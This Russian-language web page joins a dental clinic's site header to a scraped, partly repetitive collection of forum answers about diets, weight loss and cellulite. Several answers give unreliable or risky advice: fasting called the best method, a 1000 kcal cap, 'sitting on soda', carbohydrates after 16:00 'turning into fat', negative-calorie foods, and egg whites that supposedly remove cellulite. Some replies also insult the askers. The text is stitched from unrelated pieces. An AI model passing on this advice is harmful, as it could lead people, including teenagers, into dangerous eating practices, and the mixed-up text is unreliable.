Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Села на "питьевую диету". Бабушка против, скорее всего. Боюсь признаваться. Что делать?

Не знал, что бухать полезно....

Вместе они не только ускоряют появления неприглядных бугорков на теле, но и также негативно влияют на состояние организма в целом, что в свою очередь отражается на самочувствии женщины. Продукты, вызывающие целлюлит.

Ты дура

Помрешь так без еды есть другие диеты, не стоит так делать, бабушка права

И правильно сделает. Диета для ленивых и дураков. Как только слезешь с неё, быстро наберёшь ещё больше, чем было до. Надо просто всё время правильно питаться.

Не надо бабушку уговаривать. Это ужасная вредная диета!!!! Надо есть правильную пищу и правильное ее количество. Посмотри в интернете - куча информации об этом. А на водной диете только всякие болезни себе заработаешь, а еще проблемы с зубами, ломкие ногти, тусклые волосы и серую кожу.

Чокнутая диета какая-то. Так и сдохнуть можно, как минимум проблемы со здоровьем будут

Какие продукты вызывают целлюлит черный список продуктов для желающих распрощаться с апельсиновой коркой . Чтобы целлюлит покинул пределы Вашего тела нужно всего лишь отказаться от употребления некоторых продуктов питания.

Встанте

Лучше чем диета
1) Жир на животе не сжигается во время того, когда вы работаете над мышцами пресса. Пресс будет, но под слоем жира. Так что живот даже увеличится в объеме. Чтобы на животе сгорал жир, все время втягивайте его и напрягайте мышцы.
2) Лучше всего от бедер помогают махи, от икр - растяжка, от ног - ходьба
3) Чтобы мышцы качались красиво и не нарастали, как у качков, занимайтесь 2-3 раза в неделю и обязательно делайте растяжку после тренировок
4) С утра натощак 2 стакана воды, можно с лимоном, через 10 минут 2 ложки оливкового или льняного масла (чтобы был нужный жир в организме, для груди и сохранения менструального цикла). Также можно съесть зеленое яблоко.
5) Через 10-15 минут - завтрак. Он должен быть плотным и полноценным, дабы дать сигнал организму, что пора просыпаться, а также обеспечивать энергией на весь день
6) Еду не запивать и после приема пищи еще минут 40 ничего не пейте! Это замедляет пищеварение, приводит к тяжести, расширяет стенки желудка.
7) Есть чаще, но помалу. В идеале для разгона метаболизма нужно питаться 5 раз в день через каждые 3 часа и в одно и то же время (чтобы организм привык и лучше работал).
8) Бани и сауны не сжигают жир, лишь выводят воду из организма, которая возвращается через 2 часа.
9) Не есть после шести - клише. Есть не нужно за 3-4 часа до сна.
10) После 16 - только белковая пища. Углеводы во второй половине дня превращаются в жир.
11) Контрастный душ - панацея от всего. Увеличивает циркуляцию крови, соответственно, ускоряется метаболизм, разглаживается целлюлит, а также улучшается цвет лица и появляется сила воли.
12) Тщательно пережевывайте пищу, медленно и вдумчиво. Опять же, чтобы разогнать метаболизм. Секрет француженок - они не торопятся во время еды и никогда не перекусывают!
13) Чувство насыщения приходит спустя 20 минут, после того, как вы съели достаточно. Представьте, сколько всего можно съесть за 20 минут!
14) Превратите приемы пищи в пытку. Сидите с прямой спиной, без телевизора/книги, используйте все приборы, сервируйте стол по всем правилам!
15) Захотелось перекусить, а не надо бы? Сделайте 20 приседаний, 50 прыжков! Примите ароматную ванную, сходите в магазин и посмотрите на вещи!
16) Каждый час пейте по стакану воды (лучше мелкими глотками - так полезнее).
17) Кофе, сигареты, алкоголь, газировка, фастфуд, чипсы, майонез, колбаса - ваши основные враги.
18) Орехи, масло - полезны, но в малых количествах. Это супер калорийные продукты. Поэтому, не увлекайтесь маслом, заправляя салат. От этого из 100 ккал там может содержаться уже 200, 300 и т. д.

Вы просто отучите свой ЖКТ переваривать твердую пищу. Вы нарушите бактериальную флору в кишечнике, поскольку напрочь лишите организм клетчатки. Восстановление может занять месяцы, годы. А некоторые и всю жизнь мучаются.
Питайтесь правильно - овощи, фрукты, крупы, рыба. Исключите мясо на месяц - от этого только польза будет.

Как похудеть на 15-20 кг ?

Ничего тебе не поможет. Только 2% людей решивших сбросить вес удерживают достигнутый результат. Остальные 98% в течении 6-12 месяцев возвращаются к прежним формам.
Будещее уже идет за тобой

Что бы сжечь целлюлит первое , что нужно сделать -это отказаться от таких продуктов еды как Животный жир,сливочное масло, сливки,сыр, молоко более1%жирности , колбасы любые даже докторская , сардельки, сосиски, сало, шпик, ветчина, майонез, любое жирное мясо.

Бразильская жесткая диета
жесткая диетаИспользуя эту диету, можно за 14 дней сбросить 4-5 кг.
Первые два дня: три раза в день по 1 яйцу вкрутую, чашке кофе, 1 яблоку.
Третий день: завтрак: - 2 яйца; обед – 50 г говядины, шпинат; ужин: - 1 яйцо, шпинат.
Четвертый день: завтрак – 1 яйцо; обед – отварная рыба, помидор; ужин – 2 яйца, чашка кофе.
Пятый день: завтрак – 1 яйцо, чашка кофе; обед – 2 яйца, помидор; ужин – рыба, жаренная без жира ( на решетке ), овощи с уксусом.
Шестой день: завтрак – 1 яйцо, чашка кофе; обед – кусок говядины, огурец; ужин – телятина, жаренная без жира, помидор, чашка кофе.
Седьмой день: завтрак – 1 яйцо, чашка кофе; обед – половина цыпленка, жаренного без жира, овощи; ужин – вторая половина цыпленка, яблоко, чашка кофе.
На следующей неделе нужно повторить диету еще раз.
Мнения об этой диете противоречивы, но используется она часто.

За 2-3 месяца на такое большое количество ъудеть нельзя это опасно для здоровья и к тому же вес вернется потом обратно если будешь худеть на скорость.
ешь больше овощей, вместо хлеба хлебцы, убирай из пищи острые преправы а также соль-перец (так как от них больше разгорается аппетит) , кушай супы. никаких газированых напитков и чипсов. кефир пей. просто переходи на здоровое питание и не будешь страдать от лишнего веса, это только вначале кажется тяжело через пару недель ты уже не сможешь есть пищу с солью или сахаром привыкнешь к норме такой (тем более сахар и соль и так в продуктах достаточно содержится, добавляют только для вкуса) . нужно еще перед сном не есть потому что желудок во сне медленнее переваривает пищу и по идее если ты не ешь перед сном за ночь тоже теряются каллории. если хочется есть перед сном лучше выпить стакан кефира.

Если хорошая сила воли, то самое то диета по Дюкану, её можно найти в интернете. Мне помогла довольно быстро, но потом я резко прекратила и половина вернулась (( Знаю лично человека, скинувшего 25 кг за 5 месяцев без всяких упражнений.

Лучше учись лучше, мозговой штурм прекрасно сжигает лишние калории, еще не отлынивай от физкультуры, больше гуляй и не ешь за 4 часа до сна.

Я за 3,5 месяца похудела на 14 кг. Считала калории-1200-1300 в день. После 18 часов ела фрукты или не сладкий йогурт. Обязательно грейфрукт и киви (они сжигают жиры) . Исключила сладкое и мучное полностью.

Целлюлит.Осталось лишь разобраться, какие продукты сжигают жиры и какую пользу они способны принести организму. Что включить в рацион?

Все гораздо проще и сложнее в тоже самое время. Люди толстеют от излишнего потребления углеводов и жиров. Углеводы содержатся в мучном, сладком, картофеле, всех видов сладких напитков. Жиры = это все жареное, копченое. Я теряла 11 кг. в 18 лет и одна из тех 2х процентов, которые удерживают вес уже 8й год. Но вначале после экстремального похудения я чуть обратно все набрала, потому что по сути не поменяла образ жизни. Короче, длинная история вкратце. Постепенно, так чтобы ты могла заснуть ночью, но все равно у тебя было легкое чувство голода, уменьшай порции всего сладкого, мучного и жирного. Так как это все очень калоррийно, даже маленький недоеденный кусочек уже сыграет роль, поверь мне! В то же самое время старайся добавлять полезных продуктов таких как нежирные молочные продукты, фрукты, овощи, нежирное мясо, рыба, много зелени. Также пей витамины, много воды и зеленого чая. Также, каждый божий день старайся быть активной, а еще лучше несколько раз в неделю ходи на интенсивную аэробику, но не по ночам (а то есть будешь сильно хотеть на первых порах) . Главное дисциплина и через пару месяцев должен быть результат.

Оксисайз избавляет от жира и целлюлита, благодаря чему не только снижаете вес, но и значительно уменьшаете объем тела. Результаты видны уже через неделю. У меня уже минус 16 кг.

Наш народ как обычно безумно вежлив.. . Как комментарий к первому типу напишу, что вес возвращается, потому что диеты изнурительные. Не может человек всю жизнь сидеть на рисе без соли или на кефире. За 2-3 месяца вы вряд ли достигнете желаемых результатов. Хотя бы потому, что набирали их куда дольше. А то, что чем дольше худеешь, тем лучше, факт уже известный. Попробуйте проконсультироваться в клинике Борменталя (или на сайте официальном) . Те, кто выполняет их методику, живет полноценной жизнью без стрессов и лишений, и худеет в 99,9% случаев. Проверено!

Правильное питание и спорт.

«Добрый день! После родов я поправилась на 30 кг, с 60кг у меня стало 90...Было очень тяжело и ходить и дышать.. . Я даже пробовало разные таблетки, да помогло мгновенно, но это не надолго и вес набирается в 2 раза быстрее после того как перестаешь пить. Самый лучший способ это раздельное питание и спорт. Я не изнуряла себя в тренажерном зале. Результаты меня поразили. Они не мгновенные, через месяц я увидела первые скинутые килограммы. За год сидя на раздельном питании я скинула весь лишний вес. Уже год я на ней на сижу, и не единого грамма я не набрала. Удачного дня)
(Если Вам нужны личные рекомендации пишите отвечу на все вопросы)
Адрес моего блога:
С ув. Свинцицкая. Е. О»

2. Постная говядина. В этом мясе содержится линолевая кислота,, которая сжигает жир.А вот мучает меня вопрос, когда нужно начинать бороться с целлюлитом с помощью продуктов до его наступления или же когда он уже есть?

Как скинуть 10 кг?

Может набрать, и так скелетина

Продукты, из-за которых образуется целлюлит. Все женщины хотят быть обладательницами идеальной фигуры.Во избежание появления апельсиновой корки всего лишь достаточно исключить из рациона ряд продуктов, которые способствуют образованию целлюлита.

Очень смешно. где то лишнее, которое тебе жмет? похвасталась, зачет....

Не стОит.

А сама себе нравишься, красуешься и вопрос твой только для фото, чтоб всем себя показать

Японская диета. Получила название ввиду того, что была разработана в Стране Восходящего солнца медиками одной из известных японских клиник. Ее принципы довольно просты: никакой соли (она задерживает жидкость в организме, являясь причиной лишних объемов), никакого сахара (сами понимаете - калории). Также необходимо полностью исключить из своего рациона хлеб и изделия из муки. Японская диета разрешает употребление сухарей – естественно, не покупных, с добавками и консервантами, а приготовленными в домашних условиях. Сухари можно есть тоже в ограниченном количестве. И последний постулат данной диеты – никакого алкоголя, в любых формах и количествах! Именно он – злейший враг худеющего.
В решении проблемы как сбросить лишний вес актуальной является и диета Кима Протасова, популярного диетолога (Израиль). Суть диеты К. Протасова состоит в том, что нужно съедать как можно больше различного рода овощей и кисломолочных продуктов. В первую и вторую недели предполагается употребление сырых овощей, йогуртов (до 5%-ной жирности), сыров, зеленых яблок, вареных яиц. Пьем кофе, воду и чай и не забываем о том, что Протасов строго указал количество воды в день – не менее 2 л. В последующие недели можно добавить в свое меню мясо, рыбу или птицу (конечно же, вареную или запеченную в фольге без добавления специй) - за счет сокращения количества йогуртов и сыров. Однако это детище Протасова не советуют при серьезных, хронических заболеваниях желудочно-кишечного тракта.

Красавицам на заметку!
1) Жир на животе не сжигается во время того, когда вы работаете над мышцами пресса. Пресс будет, но под слоем жира. Так что живот даже увеличится в объеме. Чтобы на животе сгорал жир, все время втягивайте его и напрягайте мышцы.
2) Лучше всего от бедер помогают махи, от икр - растяжка, от ног - ходьба
3) Чтобы мышцы качались красиво и не нарастали, как у качков, занимайтесь 2-3 раза в неделю и обязательно делайте растяжку после тренировок
4) С утра натощак 2 стакана воды, можно с лимоном, через 10 минут 2 ложки оливкового или льняного масла (чтобы был нужный жир в организме, для груди и сохранения менструального цикла). Также можно съесть зеленое яблоко.
5) Через 10-15 минут - завтрак. Он должен быть плотным и полноценным, дабы дать сигнал организму, что пора просыпаться, а также обеспечивать энергией на весь день
6) Еду не запивать и после приема пищи еще минут 40 ничего не пейте! Это замедляет пищеварение, приводит к тяжести, расширяет стенки желудка.
7) Есть чаще, но помалу. В идеале для разгона метаболизма нужно питаться 5 раз в день через каждые 3 часа и в одно и то же время (чтобы организм привык и лучше работал).
8) Бани и сауны не сжигают жир, лишь выводят воду из организма, которая возвращается через 2 часа.
9) Не есть после шести - клише. Есть не нужно за 3-4 часа до сна.
10) После 16 - только белковая пища. Углеводы во второй половине дня превращаются в жир.
11) Контрастный душ - панацея от всего. Увеличивает циркуляцию крови, соответственно, ускоряется метаболизм, разглаживается целлюлит, а также улучшается цвет лица и появляется сила воли.
12) Тщательно пережевывайте пищу, медленно и вдумчиво. Опять же, чтобы разогнать метаболизм. Секрет француженок - они не торопятся во время еды и никогда не перекусывают!
13) Чувство насыщения приходит спустя 20 минут, после того, как вы съели достаточно. Представьте, сколько всего можно съесть за 20 минут!
14) Превратите приемы пищи в пытку. Сидите с прямой спиной, без телевизора/книги, используйте все приборы, сервируйте стол по всем правилам!
15) Захотелось перекусить, а не надо бы? Сделайте 20 приседаний, 50 прыжков! Примите ароматную ванную, сходите в магазин и посмотрите на вещи!
16) Каждый час пейте по стакану воды (лучше мелкими глотками - так полезнее).
17) Кофе, сигареты, алкоголь, газировка, фастфуд, чипсы, майонез, колбаса - ваши основные враги.
18) Орехи, масло - полезны, но в малых количествах. Это супер калорийные продукты. Поэтому, не увлекайтесь маслом, заправляя салат. От этого из 100 ккал там может содержаться уже 200, 300 и т. д.

7 продуктов, которые сжигают жир. Отложения жира в проблемных местах проблема не только женская, но и мужская.Так же можно использовать яблочный уксус для протирания лица, растирания проблемных участков целлюлит .

Да нормальный у тебя вес, не парься; -) побольше фруктов меньше шашлыка; -)

Правильное питание, физ. нагрузка и МАССАЖ!!!)) И будет вам счастье;)

Тут худеть не стоит, всё при вас)
Единственное можно тело подтянуть в общем.
А так всё прекрасно)

Как убрать жир с ляшек?

Приседать
от ста раз

Но не все так страшно. Чтобы избежать апельсиновой корки , достаточно всего лишь исключить из рациона некоторые продукты, которые способствуют образованию целлюлита. Какие?

Отрезать

Меньше есть

Обертывания! при спорте мышцы качаются, а жировая прослойка на месте остается. обертывания например из глины, с добавлением ламинарии, перца красного, молотого натурального кофе. и еще массаж! для лимфотока, заодно и целлюлит растрясете. массаж с антицеллюлитным маслом, его можно купить в аптеке или самой сделать, за основу брать миндальное например, и добавить эфирное масло апельсина.

Баранину лучше на углях

Мне тренер сказал, что если худеть, то не обязательно уберется там, где рассчитываешь, у каждого убирается по-разному. мой совет - бассейн, велосипед, бег и меньше жирного и вообще много не есть еды + на ночь особенно, но если весь день спорта, то поесть - святое дело. я сам спортсмен и знаю кое-что

5 продуктов, которые вызывают целлюлит. Способ питания в значительной степени влияет на функции нашего тела, что и определяет наш внешний вид. По этой причине немаловажно знать, какую пищу следует избегать или хотя бы употреблять разумно...

Во-первых, жир сжигает отличная диета, которую используют бодибилдеры перед выступлениями, так называемая сушка, безуглеводная диета. За месяц, если отнестись серьезно, можно скинуть до 5 кг. Ее суть в том, что из питания исклбчаются сладости, мучное и макаронные изделия. Все остальное смело ешьте, не глядя на количество жиров. Главное, чтобы углеводы в продукте составляли не более 20%. Я сама пользовалась ею, эффект прекрасный :) но нужно помнить, что первым всегда худеет лицо, а уж потом живот и ляшки. Поэтому не спешите паниковать спустя две недели диеты и с печали набрасываться на макароны с сыром. По опыту: сложнее всего устоять от соблазна первые три дня. Продержитесь три дня — будет вам свобода от конфетно-мучной зависимости.
Во-вторых, пейте не меньше 2,5л жидкости в день. Желательно за 15 минут до приема пищи (мелкие ппорции по 5 раз в день).
И в третьих, фитнес или спорт. На низкоугдеводке не обязательно изнурятьН себя по несколько часов в день семь раз в неделю. Нет. Пн-ср-сб — приемлемый график. Занятия по полчаса: ,прыжки со скакалкой, кардио (бег) и приседания
Главное, не ленись

Не ешь за 3 часа до сна и исключай жирную пищу, приседания хорошо, но они больше качаю ягодицы, я бы посоветовал бег или быструю ходьбу бег 20 мин в день, ходьба 40 мин. ну и жирозжигающие коктели ( 1/2 грепфрута и 2 зеленых яблока )

Потребляй калорий меньше, чем тратишь.

Как быстро похудеть?

Меньше жрать

Для того чтобы целлюлит на боках быстрее исчез важно кушать продукты, которые сжигают жир. Они помогут килограммам быстрее уйти. Тренировка сердца и легких, сжигание калорий.

Меньше есть, заниматься спортом

К сожалению, действительно не жрать много, а лучше вообще не жрать))) Конечно, так теряется не жир, а влага, мы становимся с тусклой кожей и ослабленными, но зато вес уходит быстро ( Пробовала такие радикальные меры, но внешний вид оставлял лучшего. Лучше потихоньку худеть

Держать себя в руках в такое время суток)))) заниматься спортом, желательно кардионагрузками, которые сжигают вес, для ленивых существует калланетика, или хотя бы упражнения типа стойки с упором на руках либо с упором на локтях, "планка" , каждый день нужно стоять в планке не меньше 6 минут, хотя бы)
Вообще нужно что то делать чтоб похудеть, кроме вопросов в мэйл ру)

Липосакция....)
Не жрать?! Да вы быстрее сдохните либо от голода, либо от попытки пересилить это чувство...

Нахуй тебе это надо? Ну если отвечать то езжай в психушку

Вместе они не только ускоряют появления неприглядных бугорков на теле, но и также негативно влияют на состояние организма в целом, что в свою очередь отражается на самочувствии женщины. Продукты, вызывающие целлюлит.

Куда ж вы все так торопитесь-то, когда, наконец, поймёте, что в подобных вопросах ничего "быстро" не делается. Лучше побольше читайте соответствующую литературу и общайтесь со знающими людьми, мир вам.

Больше бегать, меньше употреблять жирную пищу)

Никак ...правда жизни (((

Похудеть быстро можно. Лучшим способом является голодание. Также есть некоторые диеты, например за три дня можно похудеть на 5 килограмм, нужно есть больше фруктов и продуктов с большим содержанием клетчатки. Ограничить потребление быстрых углеводов. Заниматься спортом. Но следует понимать, что будут неприятные последствия. Могут возникнуть различные проблемы со здоровьем, особенно с кожей: потеряет эластичность, обвиснет, уменьшиться грудь, появятся растяжки, увеличится целлюлит, если был, подробнее о побочных эффектах можно почитать здесь: http://poxudeyka.ru/sostoyanie-kozhi-posle-pohudeniya/
Поэтому хорошо подумайте, прежде чем пытаться похудеть за короткий срок. Все должно происходить естественно.

МНЕ 38 ВЕС87 РОСТ165 ПЕРЕПРОБЫВАЛА ВСЕ ЧТОБЫ ПОХУДЕТЬ НЕПОЛУЧАЕТСЯ ДАЕЙТЕ СОВЕТ С ЧЕВО НАЧАТЬ

Со спорт3ала

Какие продукты вызывают целлюлит черный список продуктов для желающих распрощаться с апельсиновой коркой . Чтобы целлюлит покинул пределы Вашего тела нужно всего лишь отказаться от употребления некоторых продуктов питания.

Два раза в неделю только вода.

Да. иди в спортзал. с тренером позанимайся.
плюс- диета.

Я бы воспользовалась диетой Майи Плисецкой "меньше надо есть"

Разгрузочные дни кефир яблоко)

С посещения эндокринолога

Что бы сжечь целлюлит первое , что нужно сделать -это отказаться от таких продуктов еды как Животный жир,сливочное масло, сливки,сыр, молоко более1%жирности , колбасы любые даже докторская , сардельки, сосиски, сало, шпик, ветчина, майонез, любое жирное мясо.

С того что сказать себе: в ближайшие полгода я не съем ни одного кусочка сладкого, жирного, жаренного, калорийного и ни кусочка после 17 00. Даже если я и не похудею ни на грамм, я все равно буду придерживаться этого питания и не набирать больше 1000 ккал ни в коем случае.

Хотелось бы для начала понимать, ЧТО вы вкладываете в понятие "всё перепробовала"

Пробуйте на соде посидеть)

Какие продукты ускоряют обмен веществ?

Перец красный в одно интересное место. . И лимон чтобы не было видно удовольствия.

Целлюлит.Осталось лишь разобраться, какие продукты сжигают жиры и какую пользу они способны принести организму. Что включить в рацион?

Корица, перец, имбирь, зеленый чай

Красный жгучий перец, цитрусовые, зеленый чай!

Тебе нужен Эй Джи-Экс НСП смотри здесь.

Содержащие кальций (в основном молочка) .
Содержащие йод (морская капуста) .
Содержащие кофеин (зеленый чай, кофе) , цикорий.
А также приправы: острый красный перец, имбирь, корица.

Дробное питание ускоряет. (раз 6-7 мелкими порциями)

2. Постная говядина. В этом мясе содержится линолевая кислота,, которая сжигает жир.А вот мучает меня вопрос, когда нужно начинать бороться с целлюлитом с помощью продуктов до его наступления или же когда он уже есть?

Любое усиление двигательной активности ускоряет метаболизм на 20-25 процентов. Вычитала на специальном сайте.

Обмен веществ очень стимулирует частое питание: разделяете свою суточную дозу пищи (с разумной долей углеводов, естественно) на несколько частей и ешьте их каждые 2-3 часа. Если в какой-то момент есть совсем не захочется, то выпейте воды.
Это очень действенный способ. Удачи Вам!

Девушка, 16 лет. Подскажите, как похудеть килограмм на семь без ущерба здоровью?

Привет! к сожалению все зависит от физиологии чел-ка. если в семье все полненькие. как ты не старайся скинуть вес. это все равно будет временным эфектом. долго в форме быть к сожалению не получиться. знаю на своем примере. всю жизнь борюсь с кг. резко начнешь терять потом наберешь еще больше. пресс пробовала качать, кинула животик обвис. не мучай себя. 62 кг это не беда. сама столько вешу. замужем и счастлива. постарайся есть побольше овощей. и разделяй приемы пищи поменьше но почаще.

Продукты, из-за которых образуется целлюлит. Все женщины хотят быть обладательницами идеальной фигуры.Во избежание появления апельсиновой корки всего лишь достаточно исключить из рациона ряд продуктов, которые способствуют образованию целлюлита.

Попробуй физические упражнения!!!

Последний прием пищи за 3 часа до сна. Возьми за правило перед едой за 20 минут стакан воды, после хотя бы 1 час не пить. Уменьши порции, не объедайся. Сократи потребление мучной продукции. А на счет спорта, мне отлично помогли упражнения Синди Кроуфорд, именно с них я начинала, вот лови ссылку http://yandex.ru/clck/jsredir?from=yandex.ru;yandsearch;web;;&text=&etext=510.-MwjeAT5bBhGd-js5gVqQzBmRzAZYDh0F6m3oB_Wm3QJ1-DDlEQyECKiCzpntzAqAvQ7YcBnk8L1s1suzbZ1uhKmO7Ih2IGSePhDnzOq5qpOgm_JPAR9ySDaXmy6FQ77HLpFFMdlzEt1ldFG5uwuM-X9-aS3ndwci9oSN7KgkanTM4ZnZqLByLGM9dXKMe5k.369bea6d1497b304dce6daa9f08de281c15077db&uuid=&state=AiuY0DBWFJ4ePaEse6rgeAjgs2pI3DW99KUdgowt9Xti-b8lArfpY2fz6fP4kJz3523BIyRaKdCakQDfsUvvc26kwmYe3v_PJZ231xrLKoEKof4ZpQekUkW6d3kO54KaA-iK_22C638GX50wCZLwB_y4TpSxXl8lF-8kt-FrlxC70PGP65Pu1seIodRcGrUS8u8gmLy_BIXI-1n_184VPND0sVbRDLvGi6Jyp-t4Cn1IDvFHcqWWuO6oqyF-dscEGImah55nNJc&data=UlNrNmk5WktYejR0eWJFYk1LdmtxaVdKSjF5SG9ZR0ZTMWsza2RwSUwtSmVQcjJ6VUoyZnljVTM1dGI3dFZ1X2tGX0xPVEMwM1pJckZsLUFTUnl2aUlZaWtvaHFCRlJnTGxrNE1hSTgzVEQ2bjluelA2ekZESFhITk9BOG5IOGZ3enBBT0FRY2dmVQ&b64e=2&sign=88d67c30e71b596e633cef4ed8cc9d84&keyno=0&l10n=ru&cts=1416340485699&mc=4.996432882603856
Делала через один день, у нее еще есть выпуски упражнений, эффективно!

Ой кг на 7 многовато если честно) 60 кг при росте 170 как раз норм будет! Я посоветую тебе пить воду - 2 литра в день, контрастный душ, массаж вечером можешь просто мять живот, для попы- лучше баночки вакумные, в аптеке продаются- от целлюлита, если такой имеется) ) ) На счёт питания не ешь вредное! просто ешь, то, что считаешь полезным, можешь прочитать о здоровом питании. . .На счёт физической нагрузки то тут дело вкуса- ты можешь выбрать что тебе понравится, это может быть скакалка, минут 20 в день, или бег. + упражнения- приседания 20 раз, отжимания 15 раз, планка начинай с 20 секунд от живота и вообще хорошо разогревает все мышцы (если что прочитай про это упражнение в нете)

Берете 5 столовых ложек овсяных хлопьев (те что нужно варить) заливаете 5 столовыми ложками холодной кипяченой воды и оставляете на ночь. утром добавляете чайную ложку меда, 5 грецких орехов (орехи поломать) и столовую ложку молока все перемешиваете и съедаете. после чего три часа не есть и не пить. Очень хорошо очищает кишечник вы стройнеете, выглядите просто отлично, при этом не голодаете. потом в течение дня придерживаетесь этого объема ( 5 столовых ложек) пищи при этом есть можно все но не чаще 2 часов если это овощи и не чаще 3 часов если рыба или мясо. И все вес уходит и не возвращается.

Диета (сжигаем жир) : Ваша норма калорий - 10-20%, 2 грамма белка на кг тела, 60-70 грамм жиров. По мере снижения веса норма калорий будет меняться, так что калорийность рациона нужно будет корректировать. Кол-во приемов пищи, время их приема значения не имеют.
Без спортзала результат будет намного хуже, поэтому советую в него все-таки пойти, если пойдете, то вот, что нужно делать.
Тренировки (наращиваем мышцы, формируем фигуру) : фулбоди сплит, первая тренировка: приседания со штангой, жим штанги или гантелей лежа, тяга штанги в наклоне,
вторая тренировка: румынская тяга, подтягивания или вертикальная тяга блока, армейский жим или жим гантелей сидя.
Всё выполняется в трех подходах по 10 повторений с идеальной техникой, при этом крайне важно сосредоточиться на прогрессии весов и стараться на каждой тренировке увеличивать нагрузку. Тренироваться через 1 или 2 дня, чередуя тренировки, например:
понедельник - тренировка 1
вторник - отдых
среда - тренировка 2
четверг - отдых
пятница - тренировка 1
суббота - отдых
воскресенье - отдых
понедельник - тренировка 2
вторник - отдых
среда - тренировка 1
четверг - отдых
пятница - тренировка 2
суббота - отдых
воскресенье отдых
и т. д.
Технику выполнения упражнений можно найти в интернете. Брать тренера не советую, слишком мала вероятность найти толкового.
Кардио делать только в том случае, если с помощью одной лишь диеты не удается достаточно снизить калорийность, или если калорийность становится слишком низкой (где-то меньше 1500 ккал).

7 продуктов, которые сжигают жир. Отложения жира в проблемных местах проблема не только женская, но и мужская.Так же можно использовать яблочный уксус для протирания лица, растирания проблемных участков целлюлит .

Итак как похудеть, что же для этого требуется? Во-первых, необходимо значительно снизить калорийность рациона. По возможности максимально ограничьте употребление в пищу жирных блюд. Помните, что один грамм жира при расщеплении в клетках нашего организма даёт вдвое больше калорий, чем один грамм углеводов или белков. Чем меньше жирных блюд в вашем рационе, тем больше шансов у вас похудеть в домашних условиях всего за одну неделю. Ограничьтесь небольшим кусочком сливочного масла для бутербродов или приготовления каши и одной-двумя ложками растительного масла для овощного салатика (полностью исключать жиры из рациона тоже не следует, так это может привести к нарушениям обменных процессов и ухудшению здоровья) . Во-вторых, категорически откажитесь от всевозможных сладостей и кондитерских изделий. У таких продуктов также довольно высокая калорийность, при этом в их составе очень много сахара. Этот углевод очень хорошо усваивается в организме и при избыточном поступлении способствует быстрому формированию избыточной массы тела, поэтому при желании похудеть за неделю лучше вовсе исключить сладкие изделия из рациона. Вполне достаточно одной-двух маленьких ложечек сахара, содержащихся в чашке чая или кофе. Если же вы любите частенько попить чая в домашних условиях или на рабочем месте – лучше наслаждайтесь этим напитком без сахара. В-третьих, старайтесь поужинать не позднее шести-семи часов вечера. В таком случае калории, поступившие с пищей в организм, успеют полностью израсходоваться и не будут откладываться в виде избыточного количества жировой ткани. Если же в домашних условиях перед сном вам невыносимо захочется покушать, то помните, что поздний ужин очень способствует увеличению веса вашего тела и появлению «лишних» килограммов. Если вы действительно желаете похудеть за неделю хотя бы на пару килограммов, то ограничьтесь употреблением на ночь стакана обезжиренного кефира – он не позволит остаться вашему желудку пустым, устранит чувство голода, обеспечит ваш организм белком и одновременно не принесет большого количества калории

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, пластырей и примочек, отравы, типа редуксина, цветных кофе и ягод годжи. Заявляю по своему опыту и опыту всех моих подруг – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Какие продукты сжигают калории ? .

Все кислое.

Но не все так страшно. Чтобы избежать апельсиновой корки , достаточно всего лишь исключить из рациона некоторые продукты, которые способствуют образованию целлюлита. Какие?

Ананас

Ноль калорий и масса витаминов
Продукты с так называемой нулевой или отрицательной калорийностью содержат меньше калорий, чем организм тратит на их переваривание. Их можно есть в больших количествах, не опасаясь переедания, к тому же они содержат немало питательных веществ. Продукты с низким содержанием калорий оставляют меньше места для высококалорийной пищи, а значит, помогают похудеть.
Список продуктов с нулевой калорийностью
Овощи
Спаржа
Свекла
Брокколи
Зеленая капуста
Морковь
Огурцы
Цветная капуста
Сельдерей
Одуванчик
Жгучий красный перец
Эндивий
Садовый кресс
Чеснок
Зеленые бобы
Салат
Лук
Редис
Шпинат
Репа
Цуккини
Фрукты
Яблоки
Черника
Дыня
Клюква
Грейпфрут
Манго
Апельсины
Персики
Папайя
Ананас
Малина
Клубника
Мандарины
Томаты
Арбуз

Пейте воду и принимайте меньше пищи.
Вода дает много энергии, это ощутимо, кода пьешь ее в больших количествах, и аппетит снижает. Ее необходимо пить до 2 литров в день, не считая чая, супов и всего остального.

Нет таких продуктов.
кроме воды, в которой 0 ккал, все продукты клорийны. какие-то содержат большее количество калорий, какие-то меньшее.. . но все дают орагинизму калории, а не сжигают их.. .
калории сжигает движение

Огурцы и киви

5 продуктов, которые вызывают целлюлит. Способ питания в значительной степени влияет на функции нашего тела, что и определяет наш внешний вид. По этой причине немаловажно знать, какую пищу следует избегать или хотя бы употреблять разумно...

Киви, имбирь, ананас.

Говядина
Прошли те времена, когда в нашей стране считалось, что мясо наносит вред стройной фигуре. Нежирное мясо, такое как хорошая говядина – самое лучшее средство похудеть. Во-первых – этот продукт богат белками, которые необходимы нам для здоровья.
Во-вторых – белок переваривается гораздо быстрее, чем углеводы. К тому же, куском мяса вполне можно наесться и не чувствовать голода. Ведь именно дикое чувство голода и заставляет многих изменить диете с какой-нибудь булочкой. Белок стимулирует метаболизм, оставляет чувство сытости достаточно долго.
Зеленый чай, грейпфрут, креветки, чистый белок (без желтка) .
Совет который мне понравился, это для тех кто хочет избавиться от целлюлита, это нужно перед сном съедать по яичному белку, а то и по три, а то и больше, как было сказано, вреда никакого не принесёт, а вот эффект будет положительным, так как яичный белок отсасывает воду из вашем организме в кровь, и вы проснётесь с утра без отёков и без мешков под глазами, и будете терять целлюлит.

Активное движение сжигает калории!...

Сильдерей и вкусно и полезно и похудеешь быстрей)

Калории сжигают не продукты, и физическая нагрузка

